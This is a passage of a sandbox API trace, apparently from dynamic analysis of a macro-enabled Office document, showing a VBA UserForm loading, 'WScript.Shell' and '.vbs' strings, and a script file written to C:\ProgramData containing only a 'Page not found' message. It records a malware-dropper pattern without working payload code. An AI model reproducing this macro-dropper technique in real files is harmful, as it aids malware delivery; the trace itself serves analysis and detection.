[7]=0xd2)), ppvObject=0xb5690f60e8 | out: ppvObject=0xb5690f60e8*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f60e0 | out: ppvObject=0xb5690f60e0*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2764af38610) returned 0x3 [0120.277] IUnknown:AddRef (This=0x2764af40e88) returned 0x4 [0120.277] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f60e8 | out: ppvObject=0xb5690f60e8*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f60e0 | out: ppvObject=0xb5690f60e0*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2764af40e88) returned 0x3 [0120.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0120.278] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa4500 [0120.278] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa4500) returned 0x80 [0120.278] UserForm:IClassFactory:CreateInstance (in: This=0x7ff9bd211f48, pUnkOuter=0x2764afa4538, riid=0x7ff9be1be8c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f6020 | out: ppvObject=0xb5690f6020*=0x2764b9b1700) returned 0x0 [0120.278] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0120.279] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0120.279] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2764afa4520 | out: ppvObject=0x2764afa4520*=0x2764b9b1788) returned 0x0 [0120.279] strcpy_s (in: _Dst=0xb5690f55d0, _DstSize=0x810, _Src="VBInternal_Create:" | out: _Dst="VBInternal_Create:") returned 0x0 [0120.279] lstrcpyA (in: lpString1=0xb5690f55e2, lpString2="JDSUAGDFYYUGED" | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0120.279] malloc (_Size=0x168) returned 0x276527c64a0 [0120.279] malloc (_Size=0x20) returned 0x276499787b0 [0120.279] GlobalLock (hMem=0x27644530158) returned 0x276529e0920 [0120.279] GlobalSize (hMem=0x27644530158) returned 0x200 [0120.279] malloc (_Size=0x1000) returned 0x276527c6610 [0120.279] malloc (_Size=0xfe0) returned 0x276527c7620 [0120.279] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0120.279] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0120.279] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f54b8 | out: pclsid=0xb5690f54b8*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0120.279] malloc (_Size=0xfa0) returned 0x276527c9f20 [0120.280] lstrcpynA (in: lpString1=0xb5690f4c60, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=2044 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0120.280] lstrcpynA (in: lpString1=0xb5690f4460, lpString2="JDSUAGDFYYUGED", iMaxLength=2044 | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0120.280] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f4390 | out: pclsid=0xb5690f4390*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0120.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f3ef0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}ÿÿ>Í", lpUsedDefaultChar=0x0) returned 0 [0120.281] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0120.281] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0120.281] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0120.281] malloc (_Size=0x105) returned 0x276527c88d0 [0120.281] lstrcmpiA (lpString1="Begin", lpString2="Caption") returned -1 [0120.281] lstrcmpiA (lpString1="End", lpString2="Caption") returned 1 [0120.281] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="Caption", iMaxLength=261 | out: lpString1="Caption") returned="Caption" [0120.281] malloc (_Size=0x11) returned 0x27649976ea0 [0120.281] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Caption") returned 0x407810 [0120.281] lstrcmpiA (lpString1="Begin", lpString2="ClientHeight") returned -1 [0120.281] lstrcmpiA (lpString1="End", lpString2="ClientHeight") returned 1 [0120.281] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="ClientHeight", iMaxLength=261 | out: lpString1="ClientHeight") returned="ClientHeight" [0120.281] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientHeight") returned 0x407da9 [0120.281] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="10245", iMaxLength=261 | out: lpString1="10245") returned="10245" [0120.282] lstrlenA (lpString="10245") returned 5 [0120.282] malloc (_Size=0x6) returned 0x2764997b2e0 [0120.282] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10245", cchSrc=-1, lpDestStr=0x2764997b2e0, cchDest=6 | out: lpDestStr="10245") returned 6 [0120.282] atof (_String="10245") returned 0x27649970840 [0120.282] free (_Block=0x2764997b2e0) [0120.282] lstrcmpiA (lpString1="Begin", lpString2="ClientLeft") returned -1 [0120.282] lstrcmpiA (lpString1="End", lpString2="ClientLeft") returned 1 [0120.282] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="ClientLeft", iMaxLength=261 | out: lpString1="ClientLeft") returned="ClientLeft" [0120.282] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientLeft") returned 0x404925 [0120.282] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="45", iMaxLength=261 | out: lpString1="45") returned="45" [0120.282] lstrlenA (lpString="45") returned 2 [0120.282] malloc (_Size=0x3) returned 0x2764997b320 [0120.282] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="45", cchSrc=-1, lpDestStr=0x2764997b320, cchDest=3 | out: lpDestStr="45") returned 3 [0120.282] atof (_String="45") returned 0x27649970840 [0120.282] free (_Block=0x2764997b320) [0120.282] lstrcmpiA (lpString1="Begin", lpString2="ClientTop") returned -1 [0120.282] lstrcmpiA (lpString1="End", lpString2="ClientTop") returned 1 [0120.282] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="ClientTop", iMaxLength=261 | out: lpString1="ClientTop") returned="ClientTop" [0120.282] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientTop") returned 0x409869 [0120.282] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="390", iMaxLength=261 | out: lpString1="390") returned="390" [0120.282] lstrlenA (lpString="390") returned 3 [0120.283] malloc (_Size=0x4) returned 0x2764997b2d0 [0120.283] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="390", cchSrc=-1, lpDestStr=0x2764997b2d0, cchDest=4 | out: lpDestStr="390") returned 4 [0120.283] atof (_String="390") returned 0x27649970840 [0120.283] free (_Block=0x2764997b2d0) [0120.283] lstrcmpiA (lpString1="Begin", lpString2="ClientWidth") returned -1 [0120.283] lstrcmpiA (lpString1="End", lpString2="ClientWidth") returned 1 [0120.283] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="ClientWidth", iMaxLength=261 | out: lpString1="ClientWidth") returned="ClientWidth" [0120.283] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientWidth") returned 0x4028e4 [0120.283] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="10095", iMaxLength=261 | out: lpString1="10095") returned="10095" [0120.283] lstrlenA (lpString="10095") returned 5 [0120.283] malloc (_Size=0x6) returned 0x2764997b200 [0120.283] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10095", cchSrc=-1, lpDestStr=0x2764997b200, cchDest=6 | out: lpDestStr="10095") returned 6 [0120.283] atof (_String="10095") returned 0x27649970840 [0120.283] free (_Block=0x2764997b200) [0120.283] lstrcmpiA (lpString1="Begin", lpString2="StartUpPosition") returned -1 [0120.283] lstrcmpiA (lpString1="End", lpString2="StartUpPosition") returned -1 [0120.283] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="StartUpPosition", iMaxLength=261 | out: lpString1="StartUpPosition") returned="StartUpPosition" [0120.283] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="StartUpPosition") returned 0x40fb67 [0120.283] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="1", iMaxLength=261 | out: lpString1="1") returned="1" [0120.283] lstrlenA (lpString="1") returned 1 [0120.283] malloc (_Size=0x2) returned 0x2764997b240 [0120.283] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="1", cchSrc=-1, lpDestStr=0x2764997b240, cchDest=2 | out: lpDestStr="1") returned 2 [0120.284] free (_Block=0x2764997b240) [0120.284] lstrcmpiA (lpString1="Begin", lpString2="Tag") returned -1 [0120.284] lstrcmpiA (lpString1="End", lpString2="Tag") returned -1 [0120.284] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="Tag", iMaxLength=261 | out: lpString1="Tag") returned="Tag" [0120.284] malloc (_Size=0x11) returned 0x27649976fc0 [0120.284] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Tag") returned 0x40d826 [0120.284] free (_Block=0x27649976fc0) [0120.284] lstrcmpiA (lpString1="Begin", lpString2="TypeInfoVer") returned -1 [0120.284] lstrcmpiA (lpString1="End", lpString2="TypeInfoVer") returned -1 [0120.284] lstrcpynA (in: lpString1=0xb5690f4280, lpString2="TypeInfoVer", iMaxLength=261 | out: lpString1="TypeInfoVer") returned="TypeInfoVer" [0120.284] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="TypeInfoVer") returned 0x407334 [0120.284] lstrcpynA (in: lpString1=0x276527c88d0, lpString2="15", iMaxLength=261 | out: lpString1="15") returned="15" [0120.284] lstrlenA (lpString="15") returned 2 [0120.284] malloc (_Size=0x3) returned 0x2764997b2d0 [0120.284] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="15", cchSrc=-1, lpDestStr=0x2764997b2d0, cchDest=3 | out: lpDestStr="15") returned 3 [0120.284] free (_Block=0x2764997b2d0) [0120.284] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0120.284] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0120.284] free (_Block=0x27649976ea0) [0120.284] SysStringLen (param_1=".vbs") returned 0x4 [0120.285] MonitorFromWindow (hwnd=0x401c0, dwFlags=0x2) returned 0x10001 [0120.285] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f3968 | out: lpmi=0xb5690f3968) returned 1 [0120.285] SetThreadDpiAwarenessContext () returned 0x80000011 [0120.285] CreateWindowExA (dwExStyle=0x40001, lpClassName=0xc218, lpWindowName="WScript.Shell", dwStyle=0x80c80080, X=-5, Y=-5, nWidth=689, nHeight=722, hWndParent=0x10320, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20388 [0120.290] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001ea) returned 1 [0120.290] SetThreadDpiAwarenessContext () returned 0x11 [0120.290] free (_Block=0x276527c88d0) [0120.290] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0120.290] free (_Block=0x276527c9f20) [0120.291] free (_Block=0x276527c7620) [0120.291] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0120.291] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0120.292] malloc (_Size=0x68) returned 0x276527c5bd0 [0120.292] malloc (_Size=0x68) returned 0x276527c5cb0 [0120.292] malloc (_Size=0x50) returned 0x276527c9560 [0120.292] lstrlenW (lpString="f") returned 1 [0120.292] malloc (_Size=0x4) returned 0x2764997b300 [0120.293] malloc (_Size=0x50) returned 0x276527c88d0 [0120.293] lstrlenW (lpString="f") returned 1 [0120.293] malloc (_Size=0x4) returned 0x2764997b2d0 [0120.293] malloc (_Size=0x50) returned 0x276527c8930 [0120.293] lstrlenW (lpString="o") returned 1 [0120.293] malloc (_Size=0x4) returned 0x2764997b2e0 [0120.293] malloc (_Size=0x50) returned 0x276527c8990 [0120.293] lstrlenW (lpString="o") returned 1 [0120.293] malloc (_Size=0x4) returned 0x2764997b320 [0120.293] CFont::QueryInterface () returned 0x0 [0120.306] free (_Block=0x2764997b300) [0120.306] free (_Block=0x276527c9560) [0120.306] free (_Block=0x2764997b2d0) [0120.306] free (_Block=0x276527c88d0) [0120.306] free (_Block=0x2764997b2e0) [0120.306] free (_Block=0x276527c8930) [0120.306] free (_Block=0x2764997b320) [0120.306] free (_Block=0x276527c8990) [0120.316] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f54b0 | out: ppvObject=0xb5690f54b0*=0x2764b9b1788) returned 0x0 [0120.316] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f54b0 | out: ppvObject=0xb5690f54b0*=0x2764b9b1788) returned 0x0 [0120.316] GetWindowLongA (hWnd=0x20388, nIndex=-20) returned 262401 [0120.316] SetWindowLongA (hWnd=0x20388, nIndex=-20, dwNewLong=262401) returned 262401 [0120.320] free (_Block=0x276527c6610) [0120.320] GlobalHandle (pMem=0x276529e0920) returned 0x27644530158 [0120.320] GlobalUnlock (hMem=0x27644530158) returned 0 [0120.320] free (_Block=0x276499787b0) [0120.320] free (_Block=0x276527c64a0) [0120.320] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0120.320] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1cf270*(Data1=0x468cfb80, Data2=0xb4f9, Data3=0x11cf, Data4=([0]=0x80, [1]=0xdd, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x61, [6]=0x48, [7]=0x95)), ppvObject=0xb5690f5f50 | out: ppvObject=0xb5690f5f50*=0x2764b7f0a60) returned 0x0 [0120.321] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0120.322] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1be8a0*(Data1=0xf27be360, Data2=0x1b98, Data3=0x11cf, Data4=([0]=0x84, [1]=0xfc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa7, [6]=0x1d, [7]=0xcb)), ppvObject=0xb5690f5f98 | out: ppvObject=0xb5690f5f98*=0x0) returned 0x80004002 [0120.322] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0120.322] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0120.322] SysStringLen (param_1=".vbs") returned 0x4 [0120.322] VarBstrCat (in: bstrLeft="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty", bstrRight=".vbs", pbstrResult=0xb5690f6480 | out: pbstrResult=0xb5690f6480) returned 0x0 [0120.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", cchWideChar=-1, lpMultiByteStr=0xb5690f6180, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", lpUsedDefaultChar=0x0) returned 43 [0120.322] _fullpath (in: _FullPath=0xb5690f6310, _Path="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", _SizeInBytes=0x104 | out: _FullPath="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs") returned="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs" [0120.335] _sopen_s (in: _FileHandle=0xb5690f62c0, _FileName="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs" (normalized: "c:\\programdata\\uiyuiyuiyuiyuiyuiyyuyty.vbs"), _OpenFlag=33026, _ShareFlag=64, _PermissionMode=384 | out: _FileHandle=0xb5690f62c0*=3) returned 0x0 [0120.339] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x67) returned 0x2764ba253b0 [0120.339] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0xc0) returned 0x2764ba4cab0 [0120.339] strcpy_s (in: _Dst=0x2764ba253e9, _DstSize=0x2b, _Src="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs" | out: _Dst="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs") returned 0x0 [0120.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.342] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.344] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d880 [0120.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d880, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.344] _write (in: _FileHandle=3, _Buf=0x2764ba4d880*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d880*) returned 97 [0120.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d880) [0120.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d880 [0120.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d880, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.345] _write (in: _FileHandle=3, _Buf=0x2764ba4d880*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d880*) returned 97 [0120.345] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d880) [0120.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.345] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.345] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4f280 [0120.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4f280, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.345] _write (in: _FileHandle=3, _Buf=0x2764ba4f280*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4f280*) returned 97 [0120.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4f280) [0120.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d6e0 [0120.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d6e0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.346] _write (in: _FileHandle=3, _Buf=0x2764ba4d6e0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d6e0*) returned 97 [0120.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d6e0) [0120.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4c0f0 [0120.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4c0f0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.347] _write (in: _FileHandle=3, _Buf=0x2764ba4c0f0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4c0f0*) returned 97 [0120.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4c0f0) [0120.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4eda0 [0120.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4eda0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.347] _write (in: _FileHandle=3, _Buf=0x2764ba4eda0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4eda0*) returned 97 [0120.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4eda0) [0120.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.347] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e990 [0120.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e990, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.348] _write (in: _FileHandle=3, _Buf=0x2764ba4e990*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e990*) returned 97 [0120.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e990) [0120.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.348] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4ef40 [0120.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4ef40, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.348] _write (in: _FileHandle=3, _Buf=0x2764ba4ef40*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4ef40*) returned 97 [0120.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4ef40) [0120.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d6e0 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d6e0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.349] _write (in: _FileHandle=3, _Buf=0x2764ba4d6e0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d6e0*) returned 97 [0120.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d6e0) [0120.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", 